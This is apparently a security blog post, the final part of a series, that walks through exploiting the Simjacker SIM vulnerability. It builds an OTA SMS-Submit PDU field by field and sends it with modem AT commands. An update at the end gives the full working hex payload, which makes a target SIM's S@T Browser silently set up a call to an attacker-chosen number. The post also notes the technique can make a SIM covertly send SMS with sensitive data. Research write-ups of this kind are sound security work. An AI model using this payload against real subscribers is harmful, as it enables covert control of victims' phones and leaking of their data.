Dissecting SIM Jacker – Part 4 of 4: Exploitation.

In previous articles (part 1, part 2 and part 3) we have setup the foundation for understanding the details of SIMs, SMS, SMS-Submit, SMS-Deliver, SMS-PP Data Download, Over The Air messages and the SIM Tester tool. In this article we will put all the pieces together and attempt to exploit the SIM Jacker vulnerability on one of our own SIM Cards.

There 3 main conditions that needs to be met in order to be able to exploit this vulnerability: 1) the SMS Center accepts and relays binary messages 2) the ability of the target device to receive SMS binary messages that contains (U)SIM Application Toolkit commands and 3) that the S@T Browser technology is deployed on the SIM Card and the Minimum Security Level is set to No Security applied.

Other conditions for the attack to be successful is that the SIM Card itself has 2 capabilities or services enabled, these are: Proactive UICC commands and Data Download to UICC, these services are usually enabled by default on SIM Cards and that’s why they are not part of the main conditions.

As we saw in part 3, Over The Air messages are essential for exploiting the vulnerability, in fact, the attack is executed by sending a specific type of OTA message to the victim. Let’s remember the format of on an SMS-Submit message that will work as an OTA:

This is the format of an SMS-Submit message, that is, the message that originates from the attacker and is sent through the USB Modem, so, let’s go piece by piece:

Service Center Address (SCA)

The first piece is the Service Center Address, this is the address of the SMS Center, that is, the part of the provider’s infrastructure that relays messages. As we have mentioned in a previous article, this field can be set to it’s default value (that is, the value already set in the SIM Card) by using 0x00, so, the first piece is:

SCA = 0x00

First Octet (FO)

The second piece is the First Octet, from a previous article we had learnt that the coding of the first octet for an SMS-Submit is as follows:

Since this is an SMS-Submit, we start by setting bits number 0 and 1 to “01″, this is the MTI (Message Type Identifier), other bits can be set to zero, except for bit number 6 which needs to be set to “1“, this is UDHI (User Data Header Indicator), so, the binary coding for the first octet will be:

01000001 = 41 in hex.

So, our second piece is:

FO = 0x41

Message Reference (MR)

The third piece is the Message reference and this can be set as follows:

MR = 0x00

Destination Address (DA)

The Destination Address is the address of the target, this value is coded as follows:

Length of address = 0x0B
Type of address = 0x91 (international)
Address = 50612345678F = 0x0516325476F8

So:

DA = 0x0B910516325476F8

Protocol Identifier (PID)

The Protocol Identifier has to be set to SIM Data Download, that is:

PID = 0x7F

Data Coding Scheme (DCS)

The Data Coding Scheme has to be set to Class 2, that is:

PID = 0xF6

User Data Length (UDL)

The User Data Length is the length in bytes of the user data, that is, the number of bytes that comprise the user data:

UDL = XX

User Data (UD)

The User Data contains the User Data Header and the Command Packet, if you remember, in the First Octet we set the UDHI (User Data Header Indicator) to indicate that the User Data will contain a User Data Header.

User Data Header Length (UDHL)

The User Data Header Length is the length in bytes of the User Data Header and is set as follows:

UDHL = 0x02

User Data Header (UDH)

The User Data Header is set such as that it indicates that the Command Packet will contain Security Headers, that is:

UDH = 0x7000

Command Packet (CP)

The Command Packet contains very important information about the security of the message, which application the message is directed to and what are the actual commands that we want to execute.

Command Packet Length (CPL)

The Command Packet Length is the length in bytes of the entire Command Packet:

CPL = YYYY

Command Header Length (CHL)

The Command Header Length is the length in bytes of the Command Header:

CHL = 0x0D

The Command Header is comprised of 6 different values:

Security Parameter Indicator (SPI)

The Security Parameter Indicator specifies whether or not any security will be applied to the message, in this case we set SPI as follows:

SPI = 0x0000

Ciphering Key Identifier (KIc)

The Ciphering Key Identifier identifies the type of ciphering used, we set this to:

KIc = 0x00

Key Identifier (KID)

The Key Identifier specifies the key that will be used for encryption, we set this to:

KID = 0x00

Target Application Reference (TAR)

The Target Application Reference identifies the application on the SIM Card we will be sending the message to, we set it to the S@T Browser:

TAR = 0x505348

Counter and Padding Counter (CNTR & PCNTR)

These values are set as follows:

CNTR = 0x0000000000
PCNTR= 0x00

Secured Data (S@T/STK Commands)

This is the most important part of the payload, it contains the commands that we want the S@T Browser application to execute on our behalf. These commands are constructed using STK Bytecode and it can be used, for example, to Setup a Call and Send Short Messages.

The S@T/STK Commands are set as follows:

S@T/STK Commands = 0x42230121…2D0C100383…2B00

For security reasons, I won’t provide the entire hex representation of these commands, as this could be used to abuse this vulnerability in the wild.

---

Proof of Concept

For our proof of concept below, we will be using bytecode commands that set up a call on the device of our victim to another device controlled by the attacker.

The victim does not notice that he/she has received the message, but, a prompt is shown to the user for accepting the call. Using bytecode commands, for instance, we could also make the victim send short message with sensitive information without the user even noticing.

SMS-Submit

Therefore, our SMS-Submit message looks like this:

Which is the same as shown below (where XX and YYYY are just the lengths of the afterwards bytes):

0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121…2D0C100383…2B00

Sending the message

As we saw in part 1 of these series, we will be using an USB modem to send our attacking message, to do so, we connect to the modem with screen:

screen /dev/ttyUSB0

We now enable PDU mode:

AT+CMGF=0 (ENTER)
OK

And finally send the message (see the end of this article for an update on the full payload):

AT+CMGS=69 (ENTER)
>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121…2D0C100383…2B00 (CTRL + Z)

The Victim

The victim receives the message as an SMS-Deliver which, in turn, is transformed into an SMS-PP Data Download. That transformed messaged is handled by the SIM Card (since it is a binary message) and the SIM Card application (S@T Browser) executes the S@T/STK commands specified in the message itself, in this case, that means setting up a call.

Do note that the victim does not notice that he/she has received an SMS, however, for this specific proof of concept, the victim receives a prompt for accepting the call (to an attacker-controlled device), so, the victim will see something like the shown below (do note that the attacker could also execute other actions like sending an SMS message with sensitive information):

If the victim accepts the call, the victim will call the attacker-controlled number we have set up in the Secured Data (S@T/STK Commands). We can see this in the following video:

That’s it! Thanks!

UPDATE (07/12/2020)

It’s been a while since this publication, so, I thought I’d share the whole payload for the sake of completeness. The AT command with the SMS-SUBMIT message is as shown below (with length of 69):

AT+CMGS=69
>0041000B912143658709F07FF63802700000330D0000000050534800000000000042230121020744382E3130353105160604313035312D0C1003830607912143658709F02B00

Do note that the target of the attack is specified as the first instance of 2143658709F0 and the second instance is the phone number the target SIM will call (since we are dealing with an STK command to setup call).

The value 2143658709F0 means the phone number is (123) 45678900.